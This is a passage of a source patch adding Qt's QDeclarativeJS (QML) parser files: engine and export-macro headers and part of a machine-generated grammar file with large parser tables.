+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEJSENGINE_P_H
+#define QDECLARATIVEJSENGINE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativejsglobal_p.h"
+#include "private/qdeclarativejsastfwd_p.h"
+
+#include <QString>
+#include <QSet>
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS {
+class QML_PARSER_EXPORT NameId
+{
+ QString _text;
+
+public:
+ NameId(const QChar *u, int s)
+ : _text(u, s)
+ { }
+
+ const QString asString() const
+ { return _text; }
+
+ bool operator == (const NameId &other) const
+ { return _text == other._text; }
+
+ bool operator != (const NameId &other) const
+ { return _text != other._text; }
+
+ bool operator < (const NameId &other) const
+ { return _text < other._text; }
+};
+
+uint qHash(const QDeclarativeJS::NameId &id);
+
+} // end of namespace QDeclarativeJS
+
+namespace QDeclarativeJS {
+
+class Lexer;
+class NodePool;
+
+namespace Ecma {
+
+class QML_PARSER_EXPORT RegExp
+{
+public:
+ enum RegExpFlag {
+ Global = 0x01,
+ IgnoreCase = 0x02,
+ Multiline = 0x04
+ };
+
+public:
+ static int flagFromChar(const QChar &);
+ static QString flagsToString(int flags);
+};
+
+} // end of namespace Ecma
+
+class QML_PARSER_EXPORT DiagnosticMessage
+{
+public:
+ enum Kind { Warning, Error };
+
+ DiagnosticMessage()
+ : kind(Error) {}
+
+ DiagnosticMessage(Kind kind, const AST::SourceLocation &loc, const QString &message)
+ : kind(kind), loc(loc), message(message) {}
+
+ bool isWarning() const
+ { return kind == Warning; }
+
+ bool isError() const
+ { return kind == Error; }
+
+ Kind kind;
+ AST::SourceLocation loc;
+ QString message;
+};
+
+class QML_PARSER_EXPORT Engine
+{
+ Lexer *_lexer;
+ NodePool *_nodePool;
+ QSet<NameId> _literals;
+ QList<QDeclarativeJS::AST::SourceLocation> _comments;
+
+public:
+ Engine();
+ ~Engine();
+
+ QSet<NameId> literals() const;
+
+ void addComment(int pos, int len, int line, int col);
+ QList<QDeclarativeJS::AST::SourceLocation> comments() const;
+
+ NameId *intern(const QChar *u, int s);
+
+ static QString toString(NameId *id);
+
+ Lexer *lexer() const;
+ void setLexer(Lexer *lexer);
+
+ NodePool *nodePool() const;
+ void setNodePool(NodePool *nodePool);
+};
+
+} // end of namespace QDeclarativeJS
+
+QT_QML_END_NAMESPACE
+
+#endif // QDECLARATIVEJSENGINE_P_H
diff --git a/src/declarative/qml/parser/qdeclarativejsglobal_p.h b/src/declarative/qml/parser/qdeclarativejsglobal_p.h
new file mode 100644
index 00000000..014d78ab
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsglobal_p.h
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef QDECLARATIVEJSGLOBAL_P_H
+#define QDECLARATIVEJSGLOBAL_P_H
+
+#include <QtCore/qglobal.h>
+
+#ifdef QT_CREATOR
+# define QT_QML_BEGIN_NAMESPACE
+# define QT_QML_END_NAMESPACE
+
+# ifdef QDECLARATIVEJS_BUILD_DIR
+# define QML_PARSER_EXPORT Q_DECL_EXPORT
+# elif QML_BUILD_STATIC_LIB
+# define QML_PARSER_EXPORT
+# else
+# define QML_PARSER_EXPORT Q_DECL_IMPORT
+# endif // QDECLARATIVEJS_BUILD_DIR
+
+#else // !QT_CREATOR
+# define QT_QML_BEGIN_NAMESPACE QT_BEGIN_NAMESPACE
+# define QT_QML_END_NAMESPACE QT_END_NAMESPACE
+# define QML_PARSER_EXPORT
+#endif // QT_CREATOR
+
+#endif // QDECLARATIVEJSGLOBAL_P_H
diff --git a/src/declarative/qml/parser/qdeclarativejsgrammar.cpp b/src/declarative/qml/parser/qdeclarativejsgrammar.cpp
new file mode 100644
index 00000000..02b23663
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejsgrammar.cpp
@@ -0,0 +1,989 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This file was generated by qlalr - DO NOT EDIT!
+#include "qdeclarativejsgrammar_p.h"
+
+QT_BEGIN_NAMESPACE
+
+const char *const QDeclarativeJSGrammar::spell [] = {
+ "end of file", "&", "&&", "&=", "break", "case", "catch", ":", ";", "continue",
+ "default", "delete", "/", "/=", "do", ".", "else", "=", "==", "===",
+ "finally", "for", "function", ">=", ">", ">>", ">>=", ">>>", ">>>=", "identifier",
+ "if", "in", "instanceof", "{", "[", "<=", "(", "<", "<<", "<<=",
+ "-", "-=", "--", "new", "!", "!=", "!==", "numeric literal", "|", "|=",
+ "||", "+", "+=", "++", "?", "}", "]", "%", "%=", "return",
+ ")", ";", 0, "*", "*=", "string literal", "property", "signal", "readonly", "switch",
+ "this", "throw", "~", "try", "typeof", "var", "void", "while", "with", "^",
+ "^=", "null", "true", "false", "const", "debugger", "reserved word", "multiline string literal", "comment", "public",
+ "import", "as", "on", 0, 0, 0, 0, 0, 0, 0,
+ 0};
+
+const short QDeclarativeJSGrammar::lhs [] = {
+ 101, 101, 101, 101, 101, 101, 102, 108, 108, 111,
+ 111, 113, 112, 112, 112, 112, 112, 112, 112, 112,
+ 115, 110, 109, 118, 118, 119, 119, 120, 120, 117,
+ 106, 106, 106, 106, 106, 106, 106, 106, 126, 126,
+ 126, 127, 127, 128, 128, 106, 106, 106, 106, 106,
+ 106, 106, 106, 106, 106, 106, 106, 106, 106, 106,
+ 106, 106, 106, 106, 106, 116, 116, 116, 116, 116,
+ 131, 131, 131, 131, 131, 131, 131, 131, 131, 131,
+ 131, 131, 131, 131, 131, 131, 131, 131, 121, 133,
+ 133, 133, 133, 132, 132, 135, 135, 137, 137, 137,
+ 137, 137, 137, 138, 138, 138, 138, 138, 138, 138,
+ 138, 138, 138, 138, 138, 138, 138, 138, 138, 138,
+ 138, 138, 138, 138, 138, 138, 138, 138, 138, 138,
+ 138, 138, 138, 138, 139, 139, 114, 114, 114, 114,
+ 114, 142, 142, 143, 143, 143, 143, 141, 141, 144,
+ 144, 145, 145, 146, 146, 146, 147, 147, 147, 147,
+ 147, 147, 147, 147, 147, 147, 148, 148, 148, 148,
+ 149, 149, 149, 150, 150, 150, 150, 151, 151, 151,
+ 151, 151, 151, 151, 152, 152, 152, 152, 152, 152,
+ 153, 153, 153, 153, 153, 154, 154, 154, 154, 154,
+ 155, 155, 156, 156, 157, 157, 158, 158, 159, 159,
+ 160, 160, 161, 161, 162, 162, 163, 163, 164, 164,
+ 165, 165, 166, 166, 136, 136, 167, 167, 168, 168,
+ 168, 168, 168, 168, 168, 168, 168, 168, 168, 168,
+ 104, 104, 169, 169, 170, 170, 171, 171, 103, 103,
+ 103, 103, 103, 103, 103, 103, 103, 103, 103, 103,
+ 103, 103, 103, 122, 183, 183, 182, 182, 130, 130,
+ 184, 184, 185, 185, 187, 187, 186, 188, 191, 189,
+ 189, 192, 190, 190, 123, 124, 124, 125, 125, 172,
+ 172, 172, 172, 172, 172, 172, 173, 173, 173, 173,
+ 174, 174, 174, 174, 175, 175, 176, 178, 193, 193,
+ 196, 196, 194, 194, 197, 195, 177, 177, 177, 179,
+ 179, 180, 180, 180, 198, 199, 181, 181, 129, 140,
+ 203, 203, 200, 200, 201, 201, 204, 107, 205, 205,
+ 105, 105, 202, 202, 134, 134, 206};
+
+const short QDeclarativeJSGrammar::rhs [] = {
+ 2, 2, 2, 2, 2, 2, 2, 1, 1, 1,
+ 2, 1, 2, 2, 3, 3, 5, 5, 4, 4,
+ 2, 0, 1, 1, 2, 1, 3, 2, 3, 2,
+ 1, 5, 4, 4, 3, 3, 3, 3, 1, 1,
+ 1, 0, 1, 2, 4, 6, 6, 3, 3, 7,
+ 7, 4, 4, 5, 5, 6, 6, 7, 7, 7,
+ 7, 10, 6, 1, 1, 1, 1, 1, 1, 1,
+ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ 2, 3, 3, 4, 5, 3, 4, 3, 1, 1,
+ 2, 3, 4, 1, 2, 3, 5, 1, 1, 1,
+ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ 1, 1, 1, 1, 1, 1, 1, 1, 4, 3,
+ 5, 1, 2, 4, 4, 4, 3, 0, 1, 1,
+ 3, 1, 1, 1, 2, 2, 1, 2, 2, 2,
+ 2, 2, 2, 2, 2, 2, 1, 3, 3, 3,
+ 1, 3, 3, 1, 3, 3, 3, 1, 3, 3,
+ 3, 3, 3, 3, 1, 3, 3, 3, 3, 3,
+ 1, 3, 3, 3, 3, 1, 3, 3, 3, 3,
+ 1, 3, 1, 3, 1, 3, 1, 3, 1, 3,
+ 1, 3, 1, 3, 1, 3, 1, 3, 1, 3,
+ 1, 5, 1, 5, 1, 3, 1, 3, 1, 1,
+ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ 1, 3, 0, 1, 1, 3, 0, 1, 1, 1,
+ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
+ 1, 1, 1, 3, 1, 2, 0, 1, 3, 3,
+ 1, 1, 1, 3, 1, 3, 2, 2, 2, 0,
+ 1, 2, 0, 1, 1, 2, 2, 7, 5, 7,
+ 7, 5, 9, 10, 7, 8, 2, 2, 3, 3,
+ 2, 2, 3, 3, 3, 3, 5, 5, 3, 5,
+ 1, 2, 0, 1, 4, 3, 3, 3, 3, 3,
+ 3, 3, 3, 4, 5, 2, 2, 2, 8, 8,
+ 1, 3, 0, 1, 0, 1, 1, 1, 1, 2,
+ 1, 1, 0, 1, 0, 1, 2};
+
+const short QDeclarativeJSGrammar::action_default [] = {
+ 0, 0, 0, 0, 0, 0, 22, 0, 174, 241,
+ 205, 213, 209, 153, 225, 201, 3, 138, 72, 154,
+ 217, 221, 142, 171, 152, 157, 137, 191, 178, 0,
+ 79, 80, 75, 343, 66, 345, 0, 0, 0, 0,
+ 77, 0, 0, 73, 76, 70, 0, 0, 67, 69,
+ 68, 78, 71, 0, 74, 0, 0, 167, 0, 0,
+ 154, 173, 156, 155, 0, 0, 0, 169, 170, 168,
+ 172, 0, 202, 0, 0, 0, 0, 192, 0, 0,
+ 0, 0, 0, 0, 182, 0, 0, 0, 176, 177,
+ 175, 180, 184, 183, 181, 179, 194, 193, 195, 0,
+ 210, 0, 206, 0, 0, 148, 135, 147, 136, 104,
+ 105, 106, 131, 107, 132, 108, 109, 110, 111, 112,
+ 113, 114, 115, 116, 117, 118, 119, 120, 133, 121,
+ 122, 123, 124, 125, 126, 127, 128, 129, 130, 134,
+ 0, 0, 146, 242, 149, 0, 150, 0, 151, 145,
+ 0, 238, 231, 229, 236, 237, 235, 234, 240, 233,
+ 232, 230, 239, 226, 0, 214, 0, 0, 218, 0,
+ 0, 222, 0, 0, 148, 140, 0, 139, 0, 144,
+ 158, 0, 344, 333, 334, 0, 331, 0, 332, 0,
+ 335, 249, 256, 255, 263, 251, 0, 252, 336, 0,
+ 342, 253, 254, 259, 257, 339, 337, 341, 260, 0,
+ 271, 0, 0, 0, 0, 343, 66, 0, 345, 67,
+ 243, 285, 68, 0, 0, 0, 272, 0, 0, 261,
+ 262, 0, 250, 258, 286, 287, 330, 340, 0, 301,
+ 302, 303, 304, 0, 297, 298, 299, 300, 327, 328,
+ 0, 0, 0, 0, 0, 290, 291, 247, 245, 207,
+ 215, 211, 227, 203, 248, 0, 154, 219, 223, 196,
+ 185, 0, 0, 204, 0, 0, 0, 0, 197, 0,
+ 0, 0, 0, 0, 189, 187, 190, 188, 186, 199,
+ 198, 200, 0, 212, 0, 208, 0, 246, 154, 0,
+ 228, 243, 244, 0, 243, 0, 0, 293, 0, 0,
+ 0, 295, 0, 216, 0, 0, 220, 0, 0, 224,
+ 283, 0, 275, 284, 278, 0, 282, 0, 243, 276,
+ 0, 243, 0, 0, 294, 0, 0, 0, 296, 344,
+ 333, 0, 0, 335, 0, 329, 0, 319, 0, 0,
+ 0, 289, 0, 288, 0, 346, 0, 103, 265, 268,
+ 0, 104, 271, 107, 132, 109, 110, 75, 114, 115,
+ 66, 116, 119, 73, 76, 67, 243, 68, 78, 122,
+ 71, 124, 74, 126, 127, 272, 129, 130, 134, 0,
+ 96, 0, 0, 98, 102, 100, 87, 99, 101, 0,
+ 97, 86, 266, 264, 142, 143, 148, 0, 141, 0,
+ 318, 0, 305, 306, 0, 317, 0, 0, 0, 308,
+ 313, 311, 314, 0, 0, 312, 313, 0, 309, 0,
+ 310, 267, 316, 0, 267, 315, 0, 320, 321, 0,
+ 267, 322, 323, 0, 0, 324, 0, 0, 0, 325,
+ 326, 160, 159, 0, 0, 0, 292, 0, 0, 0,
+ 307, 280, 273, 0, 281, 277, 0, 279, 269, 0,
+ 270, 274, 90, 0, 0, 94, 81, 0, 83, 92,
+ 0, 84, 93, 95, 85, 91, 82, 0, 88, 164,
+ 162, 166, 163, 161, 165, 6, 338, 4, 2, 64,
+ 89, 0, 0, 67, 69, 68, 31, 5, 0, 65,
+ 0, 41, 40, 39, 0, 0, 54, 0, 55, 0,
+ 60, 61, 0, 41, 0, 0, 0, 0, 0, 50,
+ 0, 51, 0, 0, 26, 0, 0, 62, 27, 0,
+ 30, 28, 24, 0, 29, 25, 0, 52, 0, 53,
+ 0, 142, 0, 56, 57, 63, 0, 0, 0, 0,
+ 0, 58, 59, 0, 48, 42, 49, 43, 0, 0,
+ 0, 0, 45, 0, 46, 47, 44, 0, 0, 35,
+ 36, 37, 38, 142, 267, 0, 0, 104, 271, 107,
+ 132, 109, 110, 75, 114, 115, 66, 116, 119, 73,
+ 76, 67, 243, 68, 78, 122, 71, 124, 74, 126,
+ 127, 272, 129, 130, 134, 0, 32, 33, 0, 34,
+ 8, 0, 10, 0, 9, 0, 1, 21, 12, 0,
+ 13, 0, 14, 0, 19, 20, 0, 15, 16, 0,
+ 17, 18, 11, 23, 7, 347};
+
+const short QDeclarativeJSGrammar::goto_default [] = {
+ 7, 626, 207, 196, 205, 507, 495, 625, 644, 620,
+ 624, 622, 627, 22, 623, 18, 506, 543, 533, 540,
+ 535, 191, 195, 197, 201, 524, 568, 567, 200, 232,
+ 26, 474, 473, 356, 355, 9, 354, 357, 107, 17,
+ 145, 24, 13, 144, 19, 25, 57, 23, 8, 28,
+ 27, 269, 15, 263, 10, 259, 12, 261, 11, 260,
+ 20, 267, 21, 268, 14, 262, 258, 299, 411, 264,
+ 265, 202, 193, 192, 204, 233, 203, 208, 229, 230,
+ 194, 360, 359, 231, 463, 462, 321, 322, 465, 324,
+ 464, 323, 419, 423, 426, 422, 421, 441, 442, 185,
+ 199, 181, 184, 198, 206, 0};
+
+const short QDeclarativeJSGrammar::action_index [] = {
+ 421, 1288, 2322, 2322, 2419, 1016, -52, 37, 140, -101,
+ 35, -13, -40, 190, -101, 272, 34, -101, -101, 658,
+ 42, 103, 194, 201, -101, -101, -101, 439, 256, 1288,
+ -101, -101, -101, 282, -101, 2128, 1751, 1288, 1288, 1288,
+ -101, 917, 1288, -101, -101, -101, 1288, 1288, -101, -101,
+ -101, -101, -101, 1288, -101, 1288, 1288, -101, 1288, 1288,
+ 109, 245, -101, -101, 1288, 1288, 1288, -101, -101, -101,
+ 185, 1288, 295, 1288, 1288, 1288, 1288, 461, 1288, 1288,
+ 1288, 1288, 1288, 1288, 256, 1288, 1288, 1288, 155, 119,
+ 114, 176, 256, 332, 202, 332, 560, 560, 471, 1288,
+ -23, 1288, 53, 2031, 1288, 1288, -101, -101, -101, -101,
+ -101, -101, -101, -101, -101, -101, -101, -101, -101, -101,
+ -101, -101, -101, -101, -101, -101, -101, -101, -101, -101,
+ -101, -101, -101, -101, -101, -101, -101, -101, -101, -101,
+ 100, 1288, -101, -101, 70, 59, -101, 1288, -101, -101,
+ 1288, -101, -101, -101, -101, -101, -101, -101, -101, -101,
+ -101, -101, -101, -101, 1288, 41, 1288, 1288, 98, 91,
+ 1288, -101, 2031, 1288, 1288, -101, 121, -101, 73, -101,
+ -101, 39, -101, 385, 180, 78, -101, 391, -101, 64,
+ 2322, -101, -101, -101, -101, -101, 208, -101, -101, 82,
+ -101, -101, -101, -101, -101, -101, 2322, -101, -101, 538,
+ -101, 495, 128, 2419, 54, 358, 62, 44, 2613, 67,
+ 1288, -101, 76, 63, 1288, 58, -101, 60, 46, -101,
+ -101, 309, -101, -101, -101, -101, -101, -101, 86, -101,
+ -101, -101, -101, 107, -101, -101, -101, -101, -101, -101,
+ 28, 52, 1288, 101, 102, -101, -101, 1472, -101, 83,
+ 75, 79, -101, 287, 84, 80, 585, 69, 89, 321,
+ 177, 482, 1288, 297, 1288, 1288, 1288, 1288, 331, 1288,
+ 1288, 1288, 1288, 1288, 332, 222, 332, 332, 332, 410,
+ 410, 410, 1288, 57, 1288, 72, 1288, -101, 658, 1288,
+ -101, 1288, 71, 45, 1288, 61, 2419, -101, 1288, 132,
+ 2419, -101, 1288, 47, 1288, 1288, 66, 65, 1288, -101,
+ 68, 112, 81, -101, -101, 1288, -101, 369, 1288, -101,
+ 85, 1288, 74, 2419, -101, 1288, 122, 2419, -101, 77,
+ 294, 16, -29, 2322, -53, -101, 2419, -101, 1288, 127,
+ 2419, -15, 2419, -101, 10, 11, -34, -101, -101, 2419,
+ -48, 504, 4, 476, 113, 1288, 2419, 2, -28, 420,
+ 6, -21, 719, 7, 87, -101, 1382, -101, -4, -16,
+ 5, 1288, 3, -27, 1288, 9, 1288, -18, -31, 1288,
+ -101, 2225, -7, -101, -101, -101, -101, -101, -101, 1288,
+ -101, -101, -101, -101, 246, -101, 1288, -38, -101, 2419,
+ -101, 88, -101, -101, 2419, -101, 1288, 106, 26, -101,
+ 55, -101, 50, 105, 1288, -101, 48, 38, -101, -8,
+ -101, 2419, -101, 94, 2419, -101, 238, -101, -101, 104,
+ 2419, 31, -101, 21, 19, -101, 305, 1, 30, -101,
+ -101, -101, -101, 1288, 136, 2419, -101, 1288, 134, 2419,
+ -101, 49, -101, 173, -101, -101, 1288, -101, -101, 363,
+ -101, -101, -101, 137, 1565, -101, -101, 1658, -101, -101,
+ 1844, -101, -101, -101, -101, -101, -101, 95, -101, -101,
+ -101, -101, -101, -101, -101, -101, 2322, -101, -101, -101,
+ 92, 15, 925, 169, 27, -6, -101, -101, 212, -101,
+ 191, -101, -101, -101, 323, 211, -101, 1288, -101, 214,
+ -101, -101, 216, 40, 317, 210, 43, 259, 236, -101,
+ 36, -101, 747, 96, -101, 29, 747, -101, -101, 1198,
+ -101, -101, -101, 1107, -101, -101, 231, -101, 1288, -101,
+ 217, 286, 32, -101, -101, -101, 188, 340, 51, 1288,
+ 175, -101, -101, 171, -101, 179, -101, 56, -11, 351,
+ 181, 336, -101, 110, -101, -101, -101, 1934, 647, -101,
+ -101, -101, -101, 253, 2516, 1751, -5, 460, 22, 468,
+ 138, 1288, 2419, 24, -2, 412, 23, -3, 836, 20,
+ 87, -101, 1382, -101, 17, -10, 18, 1288, 25, 8,
+ 1288, 33, 1288, 12, 14, 120, -101, -101, 13, -101,
+ -101, 747, -101, 248, -47, 828, -101, -101, 152, 482,
+ -101, 150, -101, 123, -101, -101, 398, -101, -101, 117,
+ -101, -101, -101, -101, -101, -101,
+
+ -106, 6, -92, 10, 5, 278, -106, -106, -106, -106,
+ -106, -106, -106, -106, -106, -106, -106, -106, -106, -42,
+ -106, -106, -106, -106, -106, -106, -106, -106, -106, 109,
+ -106, -106, -106, -10, -106, -106, -35, 24, 73, 90,
+ -106, 219, 181, -106, -106, -106, 171, 120, -106, -106,
+ -106, -106, -106, 174, -106, 170, 167, -106, 175, 163,
+ -106, -106, -106, -106, 184, 177, 180, -106, -106, -106,
+ -106, 125, -106, 132, 134, 162, 130, -106, 121, 124,
+ 123, 141, 142, 152, -106, 154, 161, 160, -106, -106,
+ -106, -106, -106, -106, -106, -106, -106, -106, -106, 139,
+ -106, 143, -106, 156, 91, 55, -106, -106, -106, -106,
+ -106, -106, -106, -106, -106, -106, -106, -106, -106, -106,
+ -106, -106, -106, -106, -106, -106, -106, -106, -106, -106,
+ -106, -106, -106, -106, -106, -106, -106, -106, -106, -106,
+ -106, 32, -106, -106, -106, -106, -106, 33, -106, -106,
+ 26, -106, -106, -106, -106, -106, -106, -106, -106, -106,
+ -106, -106, -106, -106, 96, -106, 119, 52, -106, -106,
+ 66, -106, 220, 69, 71, -106, -106, -106, -106, -106,
+ -106, -106, -106, 25, -106, -106, -106, 64, -106, -106,
+ -106, -106, -106, -106, -106, -106, -106, -106, -106, -106,
+ -106, -106, -106, -106, -106, -106, 70, -106, -106, 61,
+ -106, 41, -106, 39, -106, 37, -106, -106, 42, -106,
+ 79, -106, -106, -106, 81, 72, -106, -106, -106, -106,
+ -106, -5, -106, -106, -106, -106, -106, -106, -106, -106,
+ -106, -106, -106, -106, -106, -106, -106, -106, -106, -106,
+ -106, -106, 21, -106, -106, -106, -106, 112, -106, -106,
+ -106, -106, -106, -106, -106, -106, -106, -106, -106, -106,
+ -106, 17, 237, -106, 192, 236, 224, 225, -106, 97,
+ 98, 101, 99, 113, -106, -106, -106, -106, -106, -106,
+ -106, -106, 204, -106, 223, -106, 235, -106, -106, 239,
+ -106, 197, -106, -106, 228, -106, 27, -106, 13, -106,
+ 2, -106, 233, -106, 190, 198, -106, -106, 196, -106,
+ -106, -106, -106, -106, -106, 200, -106, 107, 135, -106,
+ -106, 186, -106, 84, -106, 80, -106, 76, -106, -106,
+ 89, -106, -106, -49, -106, -106, 47, -106, 40, -106,
+ 44, -106, 68, -106, -106, -106, -106, -106, -106, 53,
+ -106, 35, -106, 49, -106, 87, 63, -106, -106, 30,
+ -106, -106, 103, -106, -106, -106, 51, -106, -106, -106,
+ -106, 86, -106, 67, 114, -106, 74, -106, -106, 65,
+ -106, 56, -106, -106, -106, -106, -106, -106, -106, 62,
+ -106, -106, -106, -106, -106, -106, 95, -106, -106, 78,
+ -106, -106, -106, -106, 75, -106, 88, -106, -106, -106,
+ -106, -106, -54, -106, 45, -106, -40, -106, -106, -106,
+ -106, 94, -106, -106, 100, -106, -106, -106, -106, -106,
+ 150, -41, -106, -106, 54, -106, 43, -106, 48, -106,
+ -106, -106, -106, 59, -106, 57, -106, 60, -106, 58,
+ -106, -106, -106, -106, -106, -106, 38, -106, -106, 144,
+ -106, -106, -106, -106, 31, -106, -106, 202, -106, -106,
+ 50, -106, -106, -106, -106, -106, -106, -106, -106, -106,
+ -106, -106, -106, -106, -106, -106, 77, -106, -106, -106,
+ -106, -106, 82, -106, -106, -106, -106, -106, -106, -106,
+ -17, -106, -106, -106, -4, -106, -106, 12, -106, -106,
+ -106, -106, -106, -106, -14, 46, -106, -13, -106, -106,
+ -106, -106, 108, -106, -106, -106, 243, -106, -106, 295,
+ -106, -106, -106, 290, -106, -106, -106, -106, 346, -106,
+ -106, -106, 16, -106, -106, -106, 22, 23, -106, 34,
+ -106, -106, -106, -106, -106, 11, -106, -106, -106, 7,
+ 1, 8, -106, -106, -106, -106, -106, 307, 179, -106,
+ -106, -106, -106, -106, 18, 281, 9, 15, -106, 4,
+ -106, 83, 29, -106, -106, -2, -106, -106, 85, -106,
+ -106, -106, 3, -106, -106, -106, -106, 14, -106, 0,
+ 105, -106, 93, -106, -106, -106, -106, -106, -1, -106,
+ -106, 20, -106, -106, 28, 92, -106, -106, -106, 19,
+ -106, -106, -106, -106, -106, -106, -12, -106, -106, -106,
+ -106, -106, -106, -106, -106, -106};
+
+const short QDeclarativeJSGrammar::action_info [] = {
+ 399, 352, 345, -101, 343, 457, 440, 403, 257, -112,
+ -125, -131, -123, 346, -120, 348, -128, 389, 453, 391,
+ 416, 401, 408, 563, -101, -123, 416, -120, 539, -131,
+ 346, -112, -125, 348, 257, 99, 71, 645, 621, 101,
+ -128, 440, 141, 621, 164, 431, 539, 430, 453, 573,
+ 457, 444, 440, 424, 71, 424, 101, 446, 559, 420,
+ 424, 448, 539, 440, 570, 539, 466, 527, 312, 346,
+ 532, 312, 318, 272, 409, 183, 342, 525, 147, 141,
+ 348, 510, 457, 414, 272, 325, 0, 0, 252, 99,
+ 257, 440, 296, 556, -102, 292, 453, 190, 170, 416,
+ 164, 434, 141, 141, 536, 251, 304, 172, 141, 141,
+ 443, 0, 335, 340, 141, 427, 0, 0, 0, 149,
+ 327, 306, 0, 292, 444, 0, 173, 0, 536, 141,
+ 141, 0, 0, 179, 333, 141, 294, 236, 189, 314,
+ 141, 301, 141, 315, 141, 477, 331, 242, 241, 413,
+ 412, 62, 537, 166, 58, 488, 142, 167, 294, 58,
+ 428, 254, 63, 256, 255, 59, 418, 172, 247, 246,
+ 59, 575, 574, 328, 249, 248, 616, 177, 641, 640,
+ 58, 469, 337, 141, 635, 634, 173, 350, 187, 249,
+ 248, 59, 310, 478, 459, 58, 455, 64, 523, 249,
+ 248, 85, 85, 86, 86, 103, 59, 565, 511, 172,
+ 511, 638, 637, 64, 87, 87, 141, 511, 517, 577,
+ 511, 0, 141, 0, 104, 141, 105, 85, 173, 86,
+ 174, 172, 566, 564, 470, 468, 562, 561, 548, 511,
+ 87, 636, 65, 530, 513, 539, 141, 85, 66, 86,
+ 173, 0, 406, 0, 513, 512, 513, 64, 65, 0,
+ 87, 172, 0, 513, 66, 512, 513, 512, 172, 235,
+ 234, 0, 518, 516, 512, 521, 520, 512, 554, 553,
+ 173, 85, 406, 86, 0, 513, -89, 173, 34, 174,
+ 73, 74, 549, 547, 87, 631, 512, 531, 529, 438,
+ 437, 172, 65, 0, 578, 274, 275, 0, 66, 632,
+ 630, 34, 0, 73, 74, 274, 275, 75, 76, -89,
+ 173, 0, 174, 34, 0, 48, 50, 49, 0, 0,
+ 0, 0, 276, 277, 34, 0, 0, 0, 34, 629,
+ 75, 76, 276, 277, 279, 280, 34, 0, 48, 50,
+ 49, 45, 34, 281, 279, 280, 282, 85, 283, 86,
+ 48, 50, 49, 281, 0, 34, 282, 0, 283, 34,
+ 87, 48, 50, 49, 45, 48, 50, 49, 0, 0,
+ 34, 0, 0, 48, 50, 49, 45, 34, 0, 48,
+ 50, 49, 34, 0, 0, 0, 0, 45, 34, 0,
+ 0, 45, 48, 50, 49, 0, 48, 50, 49, 45,
+ 0, 0, 0, 0, 34, 45, 0, 48, 50, 49,
+ 34, 0, 0, 0, 48, 50, 49, 34, 45, 48,
+ 50, 49, 45, 279, 280, 48, 50, 49, 0, 0,
+ 0, 34, 281, 45, 0, 282, 0, 283, -343, 34,
